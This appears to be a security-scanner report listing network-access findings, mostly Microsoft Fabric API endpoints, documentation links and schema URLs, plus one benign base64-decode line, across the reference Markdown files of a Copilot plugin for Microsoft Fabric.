harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/DATAFLOWS-AUTHORING-CORE.md
- Network accessline 104
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 105
"$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 123
All endpoints use `https://api.fabric.microsoft.com/v1` as the base URL. Authenticate with an Entra ID Bearer token. - Network accessline 423
}, { "path": "https://example.com/api/data", - Network accessline 424
{ "path": "https://example.com/api/data", "kind": "Web", - Network accessline 425
"path": "https://example.com/api/data", - Network accessline 446
| `Sql` | `Sql.Database()` | `"server.database.windows.net;mydb"` | | `AzureSqlDatabase` | `AzureSql.Database()` | `"server.database.windows.net;mydb"` | | `Web` | `Web.Contents()` | `"https://example.com/api"` | - Network accessline 447
| `AzureSqlDatabase` | `AzureSql.Database()` | `"server.database.windows.net;mydb"` | | `Web` | `Web.Contents()` | `"https://example.com/api"` | | `SharePoint` | `SharePoint.Contents()` | `"https://tenant.sharepoint.com/sites/mysite"` | - Network accessline 448
| `Web` | `Web.Contents()` | `"https://example.com/api"` | - Network accessline 449
| `SharePoint` | `SharePoint.Contents()` | `"https://tenant.sharepoint.com/sites/mysite"` | - Network accessline 450
| `AzureDataLakeStorage` | `AzureStorage.DataLake()` | `"https://account.dfs.core.windows.net"` | - Network accessline 472
Location: https://api.fabric.microsoft.com/v1/operations/{operationId}
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/DATAFLOWS-CONSUMPTION-CORE.md
- Network accessline 29
All endpoints use the Fabric REST API base URL. Authentication requires a bearer token with audience `https://api.fabric.microsoft.com/.default`. - Network accessline 34
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows - Network accessline 68
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId} - Network accessline 88
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/parameters - Network accessline 124
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/getDefinition - Network accessline 164
GET https://api.fabric.microsoft.com/v1/operations/{operationId} - Network accessline 183
GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result - Network accessline 189
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances - Possible obfuscationline 232
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("<base64-payload>")) - Network accessline 318
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 319
"$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 379
1. **Trigger**: `POST .../items/{dataflowId}/jobs/instances?jobType=Execute` → returns `202 Accepted` 2. **Location header**: Contains the operation URL (e.g., `https://api.fabric.microsoft.com/v1/operations/{operationId}`) - Network accessline 380
2. **Location header**: Contains the operation URL (e.g., `https://api.fabric.microsoft.com/v1/operations/{operationId}`) - Network accessline 390
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances - Network accessline 423
GET https://api.fabric.microsoft.com/v1/workspaces - Network accessline 431
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows - Network accessline 439
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId} - Network accessline 447
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/parameters - Network accessline 455
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/getDefinition - Network accessline 468
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances - Network accessline 497
https://api.fabric.microsoft.com/.default - Network accessline 517
| `ItemNotFound` | Dataflow ID doesn't exist or was deleted | Verify the ID with List Dataflows API | | `DataflowNotParametricError` | Dataflow has no parameters defined | Check the definition for parameter queries; this is not a failure | - Network accessline 518
| `DataflowNotParametricError` | Dataflow has no parameters defined | Check the definition for parameter queries; this is not a failure | | `401 Unauthorized` | Token expired or wrong audience | Refresh token; ensure audience is `https://ap - Network accessline 519
| `401 Unauthorized` | Token expired or wrong audience | Refresh token; ensure audience is `https://api.fabric.microsoft.com/.default` |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTHOUSE-AUTHORING-CORE.md
- Network accessline 97
// From Blob Storage with CSV mapping .ingest into table Events ( h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate' - Network accessline 98
.ingest into table Events ( h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate' ) with (format="csv", ingestionMappingReference="EventsCsvMapping", ignoreFirstRecord=true) - Network accessline 99
h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate'
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTHOUSE-CONSUMPTION-CORE.md
- Network accessline 21
# List KQL Databases in a workspace az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 22
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" - Network accessline 23
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 24
--resource "https://api.fabric.microsoft.com" - Network accessline 29
> **Token audience**: `https://kusto.kusto.windows.net/.default` for all direct access methods. See [COMMON-CORE.md](./COMMON-CORE.md) for full audience table. - Network accessline 43
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 44
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 45
--resource "https://kusto.kusto.windows.net" \ - Network accessline 213
| # | Symptom | Cause | Fix | |---|---|---|---| | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` | - Network accessline 214
|---|---|---|---| | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` | | 2 | Query timeout | No time filter, scanning too much data | Add `where Timestamp > - Network accessline 215
| 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTSTREAM-AUTHORING-CORE.md
- Network accessline 3
> **Purpose**: Shared reference for Eventstream authoring skills. Covers the Eventstream resource model, source configuration, operator (transformation) types, destination configuration, stream types, item definitions, and lifecycle managem - Network accessline 5
> **Schema source**: Property schemas are aligned with the official [`eventstream-definition.json`](https://github.com/microsoft/fabric-event-streams/blob/main/API%20Templates/eventstream-definition.json) template from `microsoft/fabric-eve - Network accessline 807
The Topology API provides runtime inspection, connection retrieval, and operational control — separate from the Items/Definition API. [Reference](https://learn.microsoft.com/en-us/rest/api/fabric/eventstream/topology).
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTSTREAM-CONSUMPTION-CORE.md
- Network accessline 3
> **Purpose**: Shared reference for Eventstream consumption skills. Covers listing and discovering Eventstreams, monitoring health, inspecting topology, checking source/destination status, and integration with downstream analytics. > **Lang - Network accessline 5
> **Schema source**: Property schemas are aligned with the official [`eventstream-definition.json`](https://github.com/microsoft/fabric-event-streams/blob/main/API%20Templates/eventstream-definition.json) template from `microsoft/fabric-eve - Network accessline 45
The Topology API returns the runtime topology with per-node **status**, **error info**, and **input schemas** — without requiring base64 decoding. [Reference](https://learn.microsoft.com/en-us/rest/api/fabric/eventstream/topology). - Network accessline 268
| 7 | Eventhouse destination data not appearing | Ingestion mapping mismatch | Check `mappingRuleName` and verify table schema matches | | 8 | Lakehouse destination data delayed | Batching thresholds not met | Check `minimumRows` and `maxim - Network accessline 269
| 8 | Lakehouse destination data delayed | Batching thresholds not met | Check `minimumRows` and `maximumDurationInSeconds` — data is buffered until one threshold is reached | | 9 | `401 Unauthorized` on API call | Token expired or wrong au - Network accessline 270
| 9 | `401 Unauthorized` on API call | Token expired or wrong audience | Re-acquire token with `--resource https://api.fabric.microsoft.com` |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/ITEM-DEFINITIONS-CORE.md
- Network accessline 37
> Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format - Network accessline 37
> Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format - Network accessline 73
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 73
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 77
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition - Network accessline 77
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition - Network accessline 114
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition - Network accessline 114
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition - Network accessline 157
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition - Network accessline 157
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition - Network accessline 181
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition - Network accessline 181
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition - Network accessline 182
> JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche - Network accessline 182
> JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche - Network accessline 183
> Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report - Network accessline 183
> Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report - Network accessline 212
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition - Network accessline 212
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition - Network accessline 255
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition - Network accessline 255
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition - Network accessline 293
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition - Network accessline 293
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition - Network accessline 340
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition - Network accessline 340
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition - Network accessline 341
> REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items - Network accessline 341
> REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items - Network accessline 370
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 370
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 371
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 371
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 401
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 401
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 402
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 402
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 410
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 410
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 411
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 411
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 421
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 421
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 422
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 422
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 446
> Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities - Network accessline 446
> Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities - Network accessline 509
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition - Network accessline 509
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition - Network accessline 522
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition - Network accessline 522
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition - Network accessline 555
| Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 555
| Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 556
|---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http - Network accessline 556
|---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http - Network accessline 557
| KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 557
| KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 558
| KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) | - Network accessline 558
| KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) | - Network accessline 559
| CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) | - Network accessline 559
| CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) | - Network accessline 560
| Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) | - Network accessline 560
| Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) | - Network accessline 561
| DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) | - Network accessline 561
| DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) | - Network accessline 562
| Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) | - Network accessline 562
| Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) | - Network accessline 563
| EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) | - Network accessline 563
| EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) | - Network accessline 564
| GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) | - Network accessline 564
| GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) | - Network accessline 565
| GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) | - Network accessline 565
| GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) | - Network accessline 566
| HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) | - Network accessline 566
| HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) | - Network accessline 567
| MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) | - Network accessline 567
| MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) | - Network accessline 568
| MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) | - Network accessline 568
| MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) | - Network accessline 569
| MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) | - Network accessline 569
| MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) | - Network accessline 570
| Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) | - Network accessline 570
| Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) | - Network accessline 571
| SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) | - Network accessline 571
| SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) | - Network accessline 573
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 573
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 574
> Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview - Network accessline 574
> Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-CONSUMPTION-CORE.md
- Network accessline 49
**Base URL**: `https://onelake.table.fabric.microsoft.com` - Network accessline 51
**Authentication**: **Storage token** with audience `https://storage.azure.com` (NOT Fabric API tokens) - Network accessline 59
GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/schemas?catalog_name={lakehouseName}.Lakehouse - Network accessline 81
GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/tables?catalog_name={lakehouseName}.Lakehouse&schema_name=dbo - Network accessline 91
"schema_name": "dbo", "data_source_format": "DELTA", "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data" - Network accessline 92
"data_source_format": "DELTA", "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data" } - Network accessline 93
"storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data" - Network accessline 104
GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/tables/{lakehouseName}.Lakehouse.dbo.{tableName} - Network accessline 113
https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/...
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-MONITORING-CORE.md
- Network accessline 16
https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/{itemType}/{itemId}/livySessions/{livyId}/applications/{appId}/... - Network accessline 83
These APIs follow the same contract as [Spark open-source monitoring REST API](https://spark.apache.org/docs/latest/monitoring.html#rest-api). They provide access to jobs, stages, tasks, executors, SQL queries, and event logs.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-NOTEBOOK-AUTHORING-CORE.md
- Network accessline 32
| Local | [context-resolution.md](notebook-authoring/context-resolution.md) | lighter-config.json, ipynb metadata, workspace ID resolution, lakehouse ID lookup, artifact discovery (**VS Code only**) | | Local | [context-and-params.md](noteb - Network accessline 33
| Local | [context-and-params.md](notebook-authoring/context-and-params.md) | runtime.context, notebook parameters, pipeline parameters, Variable Library, getLibrary, %%configure defaultLakehouse, environment config | | Fetch | [notebookuti - Network accessline 34
| Fetch | [notebookutils.runtime](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-runtime) | `notebookutils.runtime.context` properties, currentNotebookName, currentWorkspaceId, defaultLakehouseId, isFo - Network accessline 35
| Fetch | [notebookutils.variableLibrary](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library) | `getLibrary()`, `get()` by reference path, centralized config, value sets, environment-speci - Network accessline 36
| Fetch | [Author & Execute notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook) | `%%configure` (session config, defaultLakehouse, mountPoints, environment), `%run` (reference run a notebook or scri - Network accessline 44
| Local | [lakehouse-paths.md](notebook-authoring/lakehouse-paths.md) | ABFSS path construction, relative path (`Files/`, `Tables/`), OneLake endpoint, default lakehouse mount `/lakehouse/default/`, workspace/lakehouse GUID in path, path fo - Network accessline 45
| Local | [lakehouse-tables.md](notebook-authoring/lakehouse-tables.md) | Spark SQL table reference, two-part/three-part/four-part dotted name, backtick escaping, SHOW TABLES/SCHEMAS, CREATE/INSERT/MERGE, Delta time travel (`VERSION AS OF`, - Network accessline 46
| Fetch | [Lakehouse overview](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-overview) | lakehouse vs warehouse, SQL analytics endpoint, auto table discovery, Tables vs Files folder, capabilities overview | - Network accessline 47
| Fetch | [Lakehouse schemas](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-schemas) | schema-enabled lakehouse, four-part name (`workspace.lakehouse.schema.table`), cross-workspace Spark SQL, schema shortcuts, namespa - Network accessline 48
| Fetch | [Delta Lake tables](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-and-delta-tables) | Delta format defaults, managed vs unmanaged tables, Spark config for Delta, shortcuts with Delta tables | - Network accessline 49
| Fetch | [Load data with notebook](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-notebook-load-data) | `spark.read` / `spark.write`, Pandas API on Spark, relative vs ABFSS paths, `saveAsTable`, `df.write.format("delta - Network accessline 50
| Fetch | [OneLake shortcuts](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-shortcuts) | internal/external shortcuts, ADLS Gen2, S3, GCS, cross-workspace data access, shortcut limitations for cp/fastcp | - Network accessline 51
| Fetch | [Data ingestion comparison](https://learn.microsoft.com/en-us/fabric/data-engineering/load-data-lakehouse) | decision guide for ingestion method: notebooks, pipelines, dataflows, shortcuts, COPY INTO — read when choosing an approa - Network accessline 57
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `hea - Network accessline 58
|---|---|---| | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `head`, `mkdirs`, `exists`, `getProperties` — - Network accessline 59
| Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `head`, `mkdirs`, `exists`, `getProperties` — file/director - Network accessline 60
| Fetch | [notebookutils.fs mount](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-mount) | `mount`, `unmount`, `mounts`, `getMountPath` — attach ADLS Gen2/Blob/Lakehouse as local mount points, accountK - Network accessline 67
|---|---|---| | Local | [connections.md](notebook-authoring/connections.md) | `notebookutils.credentials` for external services — getSecret (Key Vault), getToken (Entra), Azure SDK credential wrapper, connection code for PostgreSQL, MySQL, - Network accessline 69
| Fetch | [notebookutils.credentials](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-credentials) | `getToken` (audience: storage, pbi, keyvault, kusto), `getSecret` (Key Vault endpoint + secret name), - Network accessline 75
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithPr - Network accessline 76
|---|---|---| | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithProperties`, `update`, `delete`, `list`, `l - Network accessline 77
| Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithProperties`, `update`, `delete`, `list`, `listTables`, `l - Network accessline 78
| Fetch | [notebookutils.notebook CRUD](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-management) | `create` (with .ipynb content, defaultLakehouse), `get`, `getDefinition`, `update`, `update - Network accessline 84
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, para - Network accessline 85
|---|---|---| | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, parameters, cross-workspace), `runMultiple` ( - Network accessline 86
| Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, parameters, cross-workspace), `runMultiple` (parallel execu - Network accessline 87
| Fetch | [notebookutils.session](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-session-management) | `stop()` (stop interactive session, release resources — **never call in pipeline mode**), `restart - Network accessline 95
| Local | [notebook-resources.md](notebook-authoring/notebook-resources.md) | `builtin/` folder, `env/` folder, `notebookutils.nbResPath`, `file:` prefix, small file embedding, resource folder path resolution, reference run resource access - Network accessline 96
| Local | [library-mgmt.md](notebook-authoring/library-mgmt.md) | `%pip install` vs `!pip`, Environment artifact, custom wheel upload, `restartPython()` after install, built-in library list, runtime version check, Full/Quick publish mode | - Network accessline 97
| Fetch | [Manage Spark libraries](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) | `%pip`/`%conda` inline install, library precedence, pipeline library install considerations, session-scoped vs environment-sc - Network accessline 98
| Fetch | [Environment libraries](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-library) | Quick mode (5s publish) vs Full mode (stable snapshot), PyPI/Conda/Maven/custom .whl/.jar, publish mode selection, Ful - Network accessline 104
